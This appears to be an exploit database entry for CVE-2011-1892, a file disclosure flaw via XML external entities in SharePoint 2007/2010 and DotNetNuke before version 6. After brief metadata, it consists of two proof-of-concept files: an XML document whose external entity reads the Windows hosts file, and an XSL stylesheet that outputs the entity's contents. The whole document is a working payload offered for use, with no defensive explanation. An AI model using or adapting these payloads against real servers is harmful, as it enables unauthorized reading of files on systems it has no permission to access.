SharePoint 2007/2010 and DotNetNuke < 6 - File Disclosure (via XEE)

Author: Nicolas Gregoire
type: webapps
platform: windows
port: 
date_added: 2011-09-20 
date_updated: 2011-09-20 
verified: 0 
codes: CVE-2011-1892;OSVDB-75381 
tags: 
aliases:  
screenshot_url:  
application_url: 

Exploit Title: File disclosure via XEE in SharePoint and DotNetNuke
Date: September 15, 2011
Author: Nicolas Gregoire
Version: SharePoint 2007 / 2010, DotNetNuke < 6
CVE : CVE-2011-1892

poc filename: xee.xml

<!DOCTYPE doc [
<!ENTITY boom SYSTEM "c:\\windows\\system32\\drivers\\etc\\hosts">
]>
<doc>&boom;</doc>

poc filename: xee.xsl

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
        <xsl:template match="/">
        <xsl:apply-templates/>
                <xsl:value-of select="doc"/>
        </xsl:template>
</xsl:stylesheet>